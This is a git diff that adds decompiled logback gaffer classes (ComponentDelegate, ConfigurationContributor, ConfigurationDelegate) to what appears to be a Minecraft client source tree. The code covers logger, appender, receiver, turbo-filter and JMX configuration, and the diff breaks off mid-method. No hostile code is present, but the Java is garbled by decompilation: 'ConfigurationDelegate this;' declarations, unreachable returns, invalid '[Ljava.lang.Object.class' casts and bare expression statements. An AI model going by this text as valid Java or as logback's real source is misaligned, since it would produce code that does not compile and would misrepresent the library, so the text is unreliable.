+        if (DefaultTypeTransformation.booleanUnbox(closure)) {
+          ComponentDelegate subDelegate = (ComponentDelegate)ScriptBytecodeAdapter.castToType(arrayOfCallSite[24].callConstructor(ComponentDelegate.class, subComponent), ComponentDelegate.class);
+          
+          arrayOfCallSite[25].callCurrent(this, subDelegate);
+          Object localObject3 = arrayOfCallSite[26].callGroovyObjectGetProperty(this);ScriptBytecodeAdapter.setGroovyObjectProperty(localObject3, ComponentDelegate.class, subDelegate, "context");
+          arrayOfCallSite[27].callCurrent(this, subComponent);
+          ComponentDelegate localComponentDelegate1 = subDelegate;ScriptBytecodeAdapter.setGroovyObjectProperty(localComponentDelegate1, ComponentDelegate.class, closure, "delegate");
+          Object localObject4 = arrayOfCallSite[28].callGetProperty(Closure.class);ScriptBytecodeAdapter.setGroovyObjectProperty(localObject4, ComponentDelegate.class, closure, "resolveStrategy");
+          arrayOfCallSite[29].call(closure);
+        }
+        if ((((subComponent instanceof LifeCycle)) && (DefaultTypeTransformation.booleanUnbox(arrayOfCallSite[30].call(NoAutoStartUtil.class, subComponent))) ? 1 : 0) != 0) {
+          arrayOfCallSite[31].call(subComponent);
+        }
+        arrayOfCallSite[32].call(PropertyUtil.class, nestingType, component, subComponent, name);
+      } else {
+        arrayOfCallSite[33].callCurrent(this, new GStringImpl(new Object[] { name, arrayOfCallSite[34].callCurrent(this), arrayOfCallSite[35].callCurrent(this), arrayOfCallSite[36].callGetProperty(arrayOfCallSite[37].call(component)) }, new String[] { "No 'class' argument specified for [", "] in ", " ", " of type [", "]" }));
+      }
+    }
+    else if (ScriptBytecodeAdapter.compareNotEqual(clazz, null)) {
+      Object subComponent = arrayOfCallSite[38].call(clazz);
+      String str2; if (((DefaultTypeTransformation.booleanUnbox(subComponentName)) && (DefaultTypeTransformation.booleanUnbox(arrayOfCallSite[39].call(subComponent, name))) ? 1 : 0) != 0) {
+        str2 = subComponentName;ScriptBytecodeAdapter.setProperty(str2, null, subComponent, "name"); }
+      Object localObject5;
+      if ((subComponent instanceof ContextAware)) {
+        localObject5 = arrayOfCallSite[40].callGroovyObjectGetProperty(this);ScriptBytecodeAdapter.setProperty(localObject5, null, subComponent, "context");
+      }
+      if (DefaultTypeTransformation.booleanUnbox(closure)) {
+        ComponentDelegate subDelegate = (ComponentDelegate)ScriptBytecodeAdapter.castToType(arrayOfCallSite[41].callConstructor(ComponentDelegate.class, subComponent), ComponentDelegate.class);
+        
+        arrayOfCallSite[42].callCurrent(this, subDelegate);
+        Object localObject6 = arrayOfCallSite[43].callGroovyObjectGetProperty(this);ScriptBytecodeAdapter.setGroovyObjectProperty(localObject6, ComponentDelegate.class, subDelegate, "context");
+        arrayOfCallSite[44].callCurrent(this, subComponent);
+        ComponentDelegate localComponentDelegate2 = subDelegate;ScriptBytecodeAdapter.setGroovyObjectProperty(localComponentDelegate2, ComponentDelegate.class, closure, "delegate");
+        Object localObject7 = arrayOfCallSite[45].callGetProperty(Closure.class);ScriptBytecodeAdapter.setGroovyObjectProperty(localObject7, ComponentDelegate.class, closure, "resolveStrategy");
+        arrayOfCallSite[46].call(closure);
+      }
+      if ((((subComponent instanceof LifeCycle)) && (DefaultTypeTransformation.booleanUnbox(arrayOfCallSite[47].call(NoAutoStartUtil.class, subComponent))) ? 1 : 0) != 0) {
+        arrayOfCallSite[48].call(subComponent);
+      }
+      arrayOfCallSite[49].call(PropertyUtil.class, nestingType, component, subComponent, name);
+    } else {
+      arrayOfCallSite[50].callCurrent(this, new GStringImpl(new Object[] { name, getLabel(), getComponentName(), arrayOfCallSite[51].callGetProperty(arrayOfCallSite[52].call(component)) }, new String[] { "No 'class' argument specified for [", "] in ", " ", " of type [", "]" }));
+    }
+  }
+  
+  public void cascadeFields(ComponentDelegate subDelegate) {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();String k = null; Object localObject; for (Iterator localIterator = (Iterator)ScriptBytecodeAdapter.castToType(arrayOfCallSite[53].call(fieldsToCascade), Iterator.class); localIterator.hasNext(); 
+        ScriptBytecodeAdapter.setProperty(localObject, null, arrayOfCallSite[54].callGroovyObjectGetProperty(subDelegate), (String)ShortTypeHandling.castToString(new GStringImpl(new Object[] { k }, new String[] { "", "" }))))
+    {
+      k = (String)ShortTypeHandling.castToString(localIterator.next());
+      localObject = ScriptBytecodeAdapter.getGroovyObjectProperty(ComponentDelegate.class, this, (String)ShortTypeHandling.castToString(new GStringImpl(new Object[] { k }, new String[] { "", "" })));
+    }
+  }
+  
+  public void injectParent(Object subComponent) {
+    CallSite[] arrayOfCallSite = $getCallSiteArray(); Object localObject; if (DefaultTypeTransformation.booleanUnbox(arrayOfCallSite[55].call(subComponent, "parent"))) {
+      localObject = component;ScriptBytecodeAdapter.setProperty(localObject, null, subComponent, "parent");
+    }
+  }
+  
+  public void propertyMissing(String name, Object value) {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();NestingType nestingType = (NestingType)ShortTypeHandling.castToEnum(arrayOfCallSite[56].call(PropertyUtil.class, component, name), NestingType.class);
+    if (ScriptBytecodeAdapter.compareEqual(nestingType, arrayOfCallSite[57].callGetProperty(NestingType.class))) {
+      arrayOfCallSite[58].callCurrent(this, new GStringImpl(new Object[] { arrayOfCallSite[59].callCurrent(this), arrayOfCallSite[60].callCurrent(this), arrayOfCallSite[61].callGetProperty(arrayOfCallSite[62].call(component)), name }, new String[] { "", " ", " of type [", "] has no appplicable [", "] property " }));
+      return;
+    }
+    arrayOfCallSite[63].call(PropertyUtil.class, nestingType, component, value, name);
+  }
+  
+  public Object analyzeArgs(Object... args)
+  {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();String name = null;
+    Class clazz = null;
+    Closure closure = null;
+    
+    if (ScriptBytecodeAdapter.compareGreaterThan(arrayOfCallSite[64].call(args), Integer.valueOf(3))) {
+      arrayOfCallSite[65].callCurrent(this, new GStringImpl(new Object[] { args }, new String[] { "At most 3 arguments allowed but you passed ", "" }));
+      return ScriptBytecodeAdapter.createList(new Object[] { name, clazz, closure });
+    }
+    
+    if ((__$stMC) || (BytecodeInterface8.disabledStandardMetaClass())) { if ((arrayOfCallSite[66].call(args, Integer.valueOf(-1)) instanceof Closure)) {
+        Object localObject1 = arrayOfCallSite[67].call(args, Integer.valueOf(-1));closure = (Closure)ScriptBytecodeAdapter.castToType(localObject1, Closure.class); Object 
+          tmp202_197 = arrayOfCallSite[68].call(args, arrayOfCallSite[69].call(args, Integer.valueOf(-1)));args = (Object[])ScriptBytecodeAdapter.castToType(tmp202_197, [Ljava.lang.Object.class);tmp202_197;
+      }
+    }
+    else if ((BytecodeInterface8.objectArrayGet(args, Integer.valueOf(-1).intValue()) instanceof Closure)) {
+      Object localObject2 = BytecodeInterface8.objectArrayGet(args, Integer.valueOf(-1).intValue());closure = (Closure)ScriptBytecodeAdapter.castToType(localObject2, Closure.class); Object 
+        tmp287_282 = arrayOfCallSite[70].call(args, BytecodeInterface8.objectArrayGet(args, Integer.valueOf(-1).intValue()));args = (Object[])ScriptBytecodeAdapter.castToType(tmp287_282, [Ljava.lang.Object.class);tmp287_282; }
+    Object localObject3;
+    Object localObject4;
+    if ((!BytecodeInterface8.isOrigInt()) || (!BytecodeInterface8.isOrigZ()) || (__$stMC) || (BytecodeInterface8.disabledStandardMetaClass())) { if (ScriptBytecodeAdapter.compareEqual(arrayOfCallSite[71].call(args), Integer.valueOf(1))) {
+        localObject3 = arrayOfCallSite[72].callCurrent(this, arrayOfCallSite[73].call(args, Integer.valueOf(0)));clazz = (Class)ShortTypeHandling.castToClass(localObject3);
+      }
+    }
+    else if (ScriptBytecodeAdapter.compareEqual(arrayOfCallSite[74].call(args), Integer.valueOf(1))) {
+      localObject4 = arrayOfCallSite[75].callCurrent(this, BytecodeInterface8.objectArrayGet(args, 0));clazz = (Class)ShortTypeHandling.castToClass(localObject4); }
+    Object localObject6;
+    Object localObject8;
+    if ((!BytecodeInterface8.isOrigInt()) || (!BytecodeInterface8.isOrigZ()) || (__$stMC) || (BytecodeInterface8.disabledStandardMetaClass())) { if (ScriptBytecodeAdapter.compareEqual(arrayOfCallSite[76].call(args), Integer.valueOf(2))) {
+        Object localObject5 = arrayOfCallSite[77].callCurrent(this, arrayOfCallSite[78].call(args, Integer.valueOf(0)));name = (String)ShortTypeHandling.castToString(localObject5);
+        localObject6 = arrayOfCallSite[79].callCurrent(this, arrayOfCallSite[80].call(args, Integer.valueOf(1)));clazz = (Class)ShortTypeHandling.castToClass(localObject6);
+      }
+    }
+    else if (ScriptBytecodeAdapter.compareEqual(arrayOfCallSite[81].call(args), Integer.valueOf(2))) {
+      Object localObject7 = arrayOfCallSite[82].callCurrent(this, BytecodeInterface8.objectArrayGet(args, 0));name = (String)ShortTypeHandling.castToString(localObject7);
+      localObject8 = arrayOfCallSite[83].callCurrent(this, BytecodeInterface8.objectArrayGet(args, 1));clazz = (Class)ShortTypeHandling.castToClass(localObject8);
+    }
+    
+    return ScriptBytecodeAdapter.createList(new Object[] { name, clazz, closure });return null;
+  }
+  
+  public Class parseClassArgument(Object arg) {
+    CallSite[] arrayOfCallSite = $getCallSiteArray(); if ((arg instanceof Class)) {
+      return (Class)ShortTypeHandling.castToClass(arg);
+    } else if ((arg instanceof String)) {
+      return Class.forName((String)ShortTypeHandling.castToString(arg));
+    } else {
+      arrayOfCallSite[84].callCurrent(this, new GStringImpl(new Object[] { arrayOfCallSite[85].callGetProperty(arrayOfCallSite[86].call(arg)) }, new String[] { "Unexpected argument type ", "" }));
+      return (Class)ShortTypeHandling.castToClass(null); } return null;
+  }
+  
+  public String parseNameArgument(Object arg)
+  {
+    CallSite[] arrayOfCallSite = $getCallSiteArray(); if ((arg instanceof String)) {
+      return (String)ShortTypeHandling.castToString(arg);
+    } else {
+      arrayOfCallSite[87].callCurrent(this, "With 2 or 3 arguments, the first argument must be the component name, i.e of type string");
+      return (String)ShortTypeHandling.castToString(null); } return null;
+  }
+  
+  public String getComponentName()
+  {
+    CallSite[] arrayOfCallSite = $getCallSiteArray(); if (DefaultTypeTransformation.booleanUnbox(arrayOfCallSite[88].call(component, "name"))) {
+      return (String)ShortTypeHandling.castToString(new GStringImpl(new Object[] { arrayOfCallSite[89].callGetProperty(component) }, new String[] { "[", "]" }));
+    } else
+      return ""; return null;
+  }
+  
+  public final Object getComponent()
+  {
+    return component;
+  }
+  
+  public final List getFieldsToCascade()
+  {
+    return fieldsToCascade;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/gaffer/ConfigurationContributor.java b/src/minecraft/ch/qos/logback/classic/gaffer/ConfigurationContributor.java
new file mode 100644
index 0000000..d1140a1
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/gaffer/ConfigurationContributor.java
@@ -0,0 +1,8 @@
+package ch.qos.logback.classic.gaffer;
+
+import java.util.Map;
+
+public abstract interface ConfigurationContributor
+{
+  public abstract Map<String, String> getMappings();
+}
diff --git a/src/minecraft/ch/qos/logback/classic/gaffer/ConfigurationDelegate.java b/src/minecraft/ch/qos/logback/classic/gaffer/ConfigurationDelegate.java
new file mode 100644
index 0000000..4a369b9
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/gaffer/ConfigurationDelegate.java
@@ -0,0 +1,357 @@
+package ch.qos.logback.classic.gaffer;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.jmx.JMXConfigurator;
+import ch.qos.logback.classic.jmx.MBeanUtil;
+import ch.qos.logback.classic.net.ReceiverBase;
+import ch.qos.logback.classic.turbo.ReconfigureOnChangeFilter;
+import ch.qos.logback.classic.turbo.TurboFilter;
+import ch.qos.logback.core.Appender;
+import ch.qos.logback.core.CoreConstants;
+import ch.qos.logback.core.spi.ContextAware;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.spi.LifeCycle;
+import ch.qos.logback.core.status.StatusListener;
+import ch.qos.logback.core.util.CachingDateFormatter;
+import ch.qos.logback.core.util.Duration;
+import groovy.lang.Closure;
+import groovy.lang.GroovyObject;
+import groovy.lang.MetaClass;
+import groovy.lang.Reference;
+import java.lang.management.ManagementFactory;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import javax.management.MalformedObjectNameException;
+import javax.management.ObjectName;
+import org.codehaus.groovy.runtime.BytecodeInterface8;
+import org.codehaus.groovy.runtime.GStringImpl;
+import org.codehaus.groovy.runtime.GeneratedClosure;
+import org.codehaus.groovy.runtime.ScriptBytecodeAdapter;
+import org.codehaus.groovy.runtime.callsite.CallSite;
+import org.codehaus.groovy.runtime.typehandling.DefaultTypeTransformation;
+import org.codehaus.groovy.runtime.typehandling.ShortTypeHandling;
+
+public class ConfigurationDelegate extends ContextAwareBase implements GroovyObject
+{
+  private List<Appender> appenderList;
+  
+  public ConfigurationDelegate()
+  {
+    ConfigurationDelegate this;
+    CallSite[] arrayOfCallSite = $getCallSiteArray();List localList = ScriptBytecodeAdapter.createList(new Object[0]);appenderList = localList;MetaClass localMetaClass = $getStaticMetaClass();metaClass = localMetaClass;
+  }
+  
+  public Object getDeclaredOrigin() { CallSite[] arrayOfCallSite = $getCallSiteArray();return this;return null;
+  }
+  
+
+
+  public void scan(String scanPeriodStr)
+  {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();ReconfigureOnChangeFilter rocf = (ReconfigureOnChangeFilter)ScriptBytecodeAdapter.castToType(arrayOfCallSite[0].callConstructor(ReconfigureOnChangeFilter.class), ReconfigureOnChangeFilter.class);
+    arrayOfCallSite[1].call(rocf, arrayOfCallSite[2].callGroovyObjectGetProperty(this));
+    if (DefaultTypeTransformation.booleanUnbox(scanPeriodStr))
+      try {
+        try { Duration duration = (Duration)ScriptBytecodeAdapter.castToType(arrayOfCallSite[3].call(Duration.class, scanPeriodStr), Duration.class);
+          arrayOfCallSite[4].call(rocf, arrayOfCallSite[5].call(duration));
+          arrayOfCallSite[6].callCurrent(this, arrayOfCallSite[7].call("Setting ReconfigureOnChangeFilter scanning period to ", duration));
+        }
+        catch (NumberFormatException nfe) {
+          arrayOfCallSite[8].callCurrent(this, arrayOfCallSite[9].call(arrayOfCallSite[10].call("Error while converting [", arrayOfCallSite[11].callGroovyObjectGetProperty(this)), "] to long"), nfe);
+        }
+      } finally {}
+    arrayOfCallSite[12].call(rocf);
+    arrayOfCallSite[13].callCurrent(this, "Adding ReconfigureOnChangeFilter as a turbo filter");
+    arrayOfCallSite[14].call(arrayOfCallSite[15].callGroovyObjectGetProperty(this), rocf);
+  }
+  
+  public void statusListener(Class listenerClass) {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();StatusListener statusListener = (StatusListener)ScriptBytecodeAdapter.castToType(arrayOfCallSite[16].call(listenerClass), StatusListener.class);
+    arrayOfCallSite[17].call(arrayOfCallSite[18].callGetProperty(arrayOfCallSite[19].callGroovyObjectGetProperty(this)), statusListener);
+    if ((statusListener instanceof ContextAware)) {
+      arrayOfCallSite[20].call((ContextAware)ScriptBytecodeAdapter.castToType(statusListener, ContextAware.class), arrayOfCallSite[21].callGroovyObjectGetProperty(this));
+    }
+    if ((statusListener instanceof LifeCycle)) {
+      arrayOfCallSite[22].call((LifeCycle)ScriptBytecodeAdapter.castToType(statusListener, LifeCycle.class));
+    }
+    arrayOfCallSite[23].callCurrent(this, new GStringImpl(new Object[] { arrayOfCallSite[24].callGetProperty(listenerClass) }, new String[] { "Added status listener of type [", "]" }));
+  }
+  
+  public void conversionRule(String conversionWord, Class converterClass) {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();String converterClassName = (String)ShortTypeHandling.castToString(arrayOfCallSite[25].call(converterClass));
+    
+    Map ruleRegistry = (Map)ScriptBytecodeAdapter.castToType(arrayOfCallSite[26].call(arrayOfCallSite[27].callGroovyObjectGetProperty(this), arrayOfCallSite[28].callGetProperty(CoreConstants.class)), Map.class);
+    if (ScriptBytecodeAdapter.compareEqual(ruleRegistry, null)) {
+      Object localObject = arrayOfCallSite[29].callConstructor(HashMap.class);ruleRegistry = (Map)ScriptBytecodeAdapter.castToType(localObject, Map.class);
+      arrayOfCallSite[30].call(arrayOfCallSite[31].callGroovyObjectGetProperty(this), arrayOfCallSite[32].callGetProperty(CoreConstants.class), ruleRegistry);
+    }
+    
+    arrayOfCallSite[33].callCurrent(this, arrayOfCallSite[34].call(arrayOfCallSite[35].call(arrayOfCallSite[36].call(arrayOfCallSite[37].call("registering conversion word ", conversionWord), " with class ["), converterClassName), "]"));
+    arrayOfCallSite[38].call(ruleRegistry, conversionWord, converterClassName);
+  }
+  
+  public void root(Level level) { CallSite[] arrayOfCallSite = $getCallSiteArray();root(level, ScriptBytecodeAdapter.createList(new Object[0]));null; }
+  public void root(Level level, List<String> appenderNames) { CallSite[] arrayOfCallSite = $getCallSiteArray(); if (ScriptBytecodeAdapter.compareEqual(level, null)) {
+      arrayOfCallSite[39].callCurrent(this, "Root logger cannot be set to level null");
+    } else
+      arrayOfCallSite[40].callCurrent(this, arrayOfCallSite[41].callGetProperty(org.slf4j.Logger.class), level, appenderNames);
+  }
+  
+  public void logger(String name, Level level) {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();logger(name, level, ScriptBytecodeAdapter.createList(new Object[0]), null);null;
+  }
+  
+  class _logger_closure1 extends Closure implements GeneratedClosure {
+    public _logger_closure1(Object _thisObject, Reference aName) { super(_thisObject);
+      Reference localReference = aName;
+      this.aName = localReference;
+    }
+    
+    public Object doCall(Object it) { CallSite[] arrayOfCallSite = $getCallSiteArray();return Boolean.valueOf(ScriptBytecodeAdapter.compareEqual(arrayOfCallSite[0].callGetProperty(it), aName.get()));return null;
+    }
+    
+    public Object getaName()
+    {
+      CallSite[] arrayOfCallSite = $getCallSiteArray();
+      return aName.get();
+      return null;
+    }
+  }
+  
+  public void logger(String name, Level level, List<String> appenderNames, Boolean additivity)
+  {
+    CallSite[] arrayOfCallSite = $getCallSiteArray(); Boolean localBoolean; if (DefaultTypeTransformation.booleanUnbox(name)) {
+      ch.qos.logback.classic.Logger logger = (ch.qos.logback.classic.Logger)ScriptBytecodeAdapter.castToType(arrayOfCallSite[42].call((LoggerContext)ScriptBytecodeAdapter.castToType(arrayOfCallSite[43].callGroovyObjectGetProperty(this), LoggerContext.class), name), ch.qos.logback.classic.Logger.class);
+      arrayOfCallSite[44].callCurrent(this, arrayOfCallSite[45].call(new GStringImpl(new Object[] { name }, new String[] { "Setting level of logger [", "] to " }), level));
+      Level localLevel = level;ScriptBytecodeAdapter.setProperty(localLevel, null, logger, "level");
+      
+      Reference aName = new Reference(null); for (Iterator localIterator = (Iterator)ScriptBytecodeAdapter.castToType(arrayOfCallSite[46].call(appenderNames), Iterator.class); localIterator.hasNext();) { ((Reference)aName).set(localIterator.next());
+        Appender appender = (Appender)ScriptBytecodeAdapter.castToType(arrayOfCallSite[47].call(appenderList, new _logger_closure1(this, aName)), Appender.class);
+        if (ScriptBytecodeAdapter.compareNotEqual(appender, null)) {
+          arrayOfCallSite[48].callCurrent(this, arrayOfCallSite[49].call(new GStringImpl(new Object[] { aName.get() }, new String[] { "Attaching appender named [", "] to " }), logger));
+          arrayOfCallSite[50].call(logger, appender);
+        } else {
+          arrayOfCallSite[51].callCurrent(this, new GStringImpl(new Object[] { aName.get() }, new String[] { "Failed to find appender named [", "]" }));
+        }
+      }
+      
+      if (ScriptBytecodeAdapter.compareNotEqual(additivity, null)) {
+        localBoolean = additivity;ScriptBytecodeAdapter.setProperty(localBoolean, null, logger, "additive");
+      }
+    } else {
+      arrayOfCallSite[52].callCurrent(this, "No name attribute for logger");
+    }
+  }
+  
+  public void appender(String name, Class clazz, Closure closure) {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();arrayOfCallSite[53].callCurrent(this, arrayOfCallSite[54].call(arrayOfCallSite[55].call("About to instantiate appender of type [", arrayOfCallSite[56].callGetProperty(clazz)), "]"));
+    Appender appender = (Appender)ScriptBytecodeAdapter.castToType(arrayOfCallSite[57].call(clazz), Appender.class);
+    arrayOfCallSite[58].callCurrent(this, arrayOfCallSite[59].call(arrayOfCallSite[60].call("Naming appender as [", name), "]"));
+    String str = name;ScriptBytecodeAdapter.setProperty(str, null, appender, "name");
+    Object localObject1 = arrayOfCallSite[61].callGroovyObjectGetProperty(this);ScriptBytecodeAdapter.setProperty(localObject1, null, appender, "context");
+    arrayOfCallSite[62].call(appenderList, appender);
+    if (ScriptBytecodeAdapter.compareNotEqual(closure, null)) {
+      AppenderDelegate ad = (AppenderDelegate)ScriptBytecodeAdapter.castToType(arrayOfCallSite[63].callConstructor(AppenderDelegate.class, appender, appenderList), AppenderDelegate.class);
+      arrayOfCallSite[64].callCurrent(this, ad, appender);
+      Object localObject2 = arrayOfCallSite[65].callGroovyObjectGetProperty(this);ScriptBytecodeAdapter.setGroovyObjectProperty(localObject2, ConfigurationDelegate.class, ad, "context");
+      AppenderDelegate localAppenderDelegate1 = ad;ScriptBytecodeAdapter.setGroovyObjectProperty(localAppenderDelegate1, ConfigurationDelegate.class, closure, "delegate");
+      Object localObject3 = arrayOfCallSite[66].callGetProperty(Closure.class);ScriptBytecodeAdapter.setGroovyObjectProperty(localObject3, ConfigurationDelegate.class, closure, "resolveStrategy");
+      arrayOfCallSite[67].call(closure);
+    }
+    try {
+      try { arrayOfCallSite[68].call(appender);
+      } catch (RuntimeException e) {
+        arrayOfCallSite[69].callCurrent(this, arrayOfCallSite[70].call(arrayOfCallSite[71].call("Failed to start apppender named [", name), "]"), e);
+      }
+    } finally {}
+  }
+  
+  public void receiver(String name, Class aClass, Closure closure) { CallSite[] arrayOfCallSite = $getCallSiteArray();arrayOfCallSite[72].callCurrent(this, arrayOfCallSite[73].call(arrayOfCallSite[74].call("About to instantiate receiver of type [", arrayOfCallSite[75].callGetProperty(arrayOfCallSite[76].callGroovyObjectGetProperty(this))), "]"));
+    ReceiverBase receiver = (ReceiverBase)ScriptBytecodeAdapter.castToType(arrayOfCallSite[77].call(aClass), ReceiverBase.class);
+    Object localObject1 = arrayOfCallSite[78].callGroovyObjectGetProperty(this);ScriptBytecodeAdapter.setProperty(localObject1, null, receiver, "context");
+    if (ScriptBytecodeAdapter.compareNotEqual(closure, null)) {
+      ComponentDelegate componentDelegate = (ComponentDelegate)ScriptBytecodeAdapter.castToType(arrayOfCallSite[79].callConstructor(ComponentDelegate.class, receiver), ComponentDelegate.class);
+      Object localObject2 = arrayOfCallSite[80].callGroovyObjectGetProperty(this);ScriptBytecodeAdapter.setGroovyObjectProperty(localObject2, ConfigurationDelegate.class, componentDelegate, "context");
+      ComponentDelegate localComponentDelegate1 = componentDelegate;ScriptBytecodeAdapter.setGroovyObjectProperty(localComponentDelegate1, ConfigurationDelegate.class, closure, "delegate");
+      Object localObject3 = arrayOfCallSite[81].callGetProperty(Closure.class);ScriptBytecodeAdapter.setGroovyObjectProperty(localObject3, ConfigurationDelegate.class, closure, "resolveStrategy");
+      arrayOfCallSite[82].call(closure);
+    }
+    try {
+      try { arrayOfCallSite[83].call(receiver);
+      } catch (RuntimeException e) {
+        arrayOfCallSite[84].callCurrent(this, arrayOfCallSite[85].call(arrayOfCallSite[86].call("Failed to start receiver of type [", arrayOfCallSite[87].call(aClass)), "]"), e);
+      }
+    } finally {}
+  }
+  
+  private void copyContributions(AppenderDelegate appenderDelegate, Appender appender) { Reference appenderDelegate = new Reference(appenderDelegate);Reference appender = new Reference(appender);CallSite[] arrayOfCallSite = $getCallSiteArray(); if (((Appender)appender.get() instanceof ConfigurationContributor)) {
+      ConfigurationContributor cc = (ConfigurationContributor)ScriptBytecodeAdapter.castToType((Appender)appender.get(), ConfigurationContributor.class);
+      arrayOfCallSite[88].call(arrayOfCallSite[89].call(cc), new _copyContributions_closure2(this, appenderDelegate, appender)); } }
+  class _copyContributions_closure2 extends Closure implements GeneratedClosure { public _copyContributions_closure2(Object _thisObject, Reference appenderDelegate, Reference appender) { super(_thisObject);
+      Reference localReference1 = appenderDelegate;
+      this.appenderDelegate = localReference1;
+      Reference localReference2 = appender;
+      this.appender = localReference2; } public Object doCall(Object oldName, Object newName) { CallSite[] arrayOfCallSite = $getCallSiteArray();Closure localClosure = ScriptBytecodeAdapter.getMethodPointer(appender.get(), (String)ShortTypeHandling.castToString(new GStringImpl(new Object[] { oldName }, new String[] { "", "" })));ScriptBytecodeAdapter.setProperty(localClosure, null, arrayOfCallSite[0].callGroovyObjectGetProperty(appenderDelegate.get()), (String)ShortTypeHandling.castToString(new GStringImpl(new Object[] { newName }, new String[] { "", "" })));return localClosure;return null; }
+    
+    public Object call(Object oldName, Object newName) { CallSite[] arrayOfCallSite = $getCallSiteArray();
+      return arrayOfCallSite[1].callCurrent(this, oldName, newName);
+      return null; }
+    
+    public AppenderDelegate getAppenderDelegate() { CallSite[] arrayOfCallSite = $getCallSiteArray();
+      return (AppenderDelegate)ScriptBytecodeAdapter.castToType(appenderDelegate.get(), AppenderDelegate.class);
+      return null; }
+    public Appender getAppender() { CallSite[] arrayOfCallSite = $getCallSiteArray();
+      return (Appender)ScriptBytecodeAdapter.castToType(appender.get(), Appender.class);
+      return null; } }
+  public void turboFilter(Class clazz, Closure closure) { CallSite[] arrayOfCallSite = $getCallSiteArray();arrayOfCallSite[90].callCurrent(this, arrayOfCallSite[91].call(arrayOfCallSite[92].call("About to instantiate turboFilter of type [", arrayOfCallSite[93].callGetProperty(clazz)), "]"));
+    TurboFilter turboFilter = (TurboFilter)ScriptBytecodeAdapter.castToType(arrayOfCallSite[94].call(clazz), TurboFilter.class);
+    Object localObject1 = arrayOfCallSite[95].callGroovyObjectGetProperty(this);ScriptBytecodeAdapter.setProperty(localObject1, null, turboFilter, "context");
+    
+    if (ScriptBytecodeAdapter.compareNotEqual(closure, null)) {
+      ComponentDelegate componentDelegate = (ComponentDelegate)ScriptBytecodeAdapter.castToType(arrayOfCallSite[96].callConstructor(ComponentDelegate.class, turboFilter), ComponentDelegate.class);
+      Object localObject2 = arrayOfCallSite[97].callGroovyObjectGetProperty(this);ScriptBytecodeAdapter.setGroovyObjectProperty(localObject2, ConfigurationDelegate.class, componentDelegate, "context");
+      ComponentDelegate localComponentDelegate1 = componentDelegate;ScriptBytecodeAdapter.setGroovyObjectProperty(localComponentDelegate1, ConfigurationDelegate.class, closure, "delegate");
+      Object localObject3 = arrayOfCallSite[98].callGetProperty(Closure.class);ScriptBytecodeAdapter.setGroovyObjectProperty(localObject3, ConfigurationDelegate.class, closure, "resolveStrategy");
+      arrayOfCallSite[99].call(closure);
+    }
+    arrayOfCallSite[100].call(turboFilter);
+    arrayOfCallSite[101].callCurrent(this, "Adding aforementioned turbo filter to context");
+    arrayOfCallSite[102].call(arrayOfCallSite[103].callGroovyObjectGetProperty(this), turboFilter);
+  }
+  
+  public String timestamp(String datePattern, long timeReference) {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();long now = DefaultTypeTransformation.longUnbox(Integer.valueOf(-1));
+    Object localObject;
+    if (ScriptBytecodeAdapter.compareEqual(Long.valueOf(timeReference), Integer.valueOf(-1))) {
+      arrayOfCallSite[104].callCurrent(this, "Using current interpretation time, i.e. now, as time reference.");
+      localObject = arrayOfCallSite[105].call(System.class);now = DefaultTypeTransformation.longUnbox(localObject);
+    } else {
+      long l1 = timeReference;now = l1;
+      arrayOfCallSite[106].callCurrent(this, arrayOfCallSite[107].call(arrayOfCallSite[108].call("Using ", Long.valueOf(now)), " as time reference."));
+    }
+    CachingDateFormatter sdf = (CachingDateFormatter)ScriptBytecodeAdapter.castToType(arrayOfCallSite[109].callConstructor(CachingDateFormatter.class, datePattern), CachingDateFormatter.class);
+    return (String)ShortTypeHandling.castToString(arrayOfCallSite[110].call(sdf, Long.valueOf(now)));return null;
+  }
+  
+
+
+
+
+
+
+  public void jmxConfigurator(String name)
+  {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();Object objectName = null;
+    Object contextName = arrayOfCallSite[111].callGetProperty(arrayOfCallSite[112].callGroovyObjectGetProperty(this));
+    if (ScriptBytecodeAdapter.compareNotEqual(name, null))
+      try {
+        String str;
+        try { localObject1 = arrayOfCallSite[113].callConstructor(ObjectName.class, name);objectName = localObject1;
+        } catch (MalformedObjectNameException e) { Object localObject1;
+          str = name;contextName = str;
+        }
+      } finally {}
+    if (ScriptBytecodeAdapter.compareEqual(objectName, null)) {
+      Object objectNameAsStr = arrayOfCallSite[114].call(MBeanUtil.class, contextName, JMXConfigurator.class);
+      Object localObject3 = arrayOfCallSite[115].call(MBeanUtil.class, arrayOfCallSite[116].callGroovyObjectGetProperty(this), this, objectNameAsStr);objectName = localObject3;
+      if (ScriptBytecodeAdapter.compareEqual(objectName, null)) {
+        arrayOfCallSite[117].callCurrent(this, new GStringImpl(new Object[] { objectNameAsStr }, new String[] { "Failed to construct ObjectName for [", "]" }));
+        return;
+      }
+    }
+    
+    Object platformMBeanServer = arrayOfCallSite[118].callGetProperty(ManagementFactory.class);
+    if ((!DefaultTypeTransformation.booleanUnbox(arrayOfCallSite[119].call(MBeanUtil.class, platformMBeanServer, objectName)) ? 1 : 0) != 0) {
+      JMXConfigurator jmxConfigurator = (JMXConfigurator)ScriptBytecodeAdapter.castToType(arrayOfCallSite[120].callConstructor(JMXConfigurator.class, ScriptBytecodeAdapter.createPojoWrapper((LoggerContext)ScriptBytecodeAdapter.castToType(arrayOfCallSite[121].callGroovyObjectGetProperty(this), LoggerContext.class), LoggerContext.class), platformMBeanServer, objectName), JMXConfigurator.class);
+      try {
+        try { arrayOfCallSite[122].call(platformMBeanServer, jmxConfigurator, objectName);
+        } catch (Exception all) {
+          arrayOfCallSite[123].callCurrent(this, "Failed to create mbean", all);
+        }
+      }
+      finally {}
+    }
+  }
+  
+  public void scan()
+  {
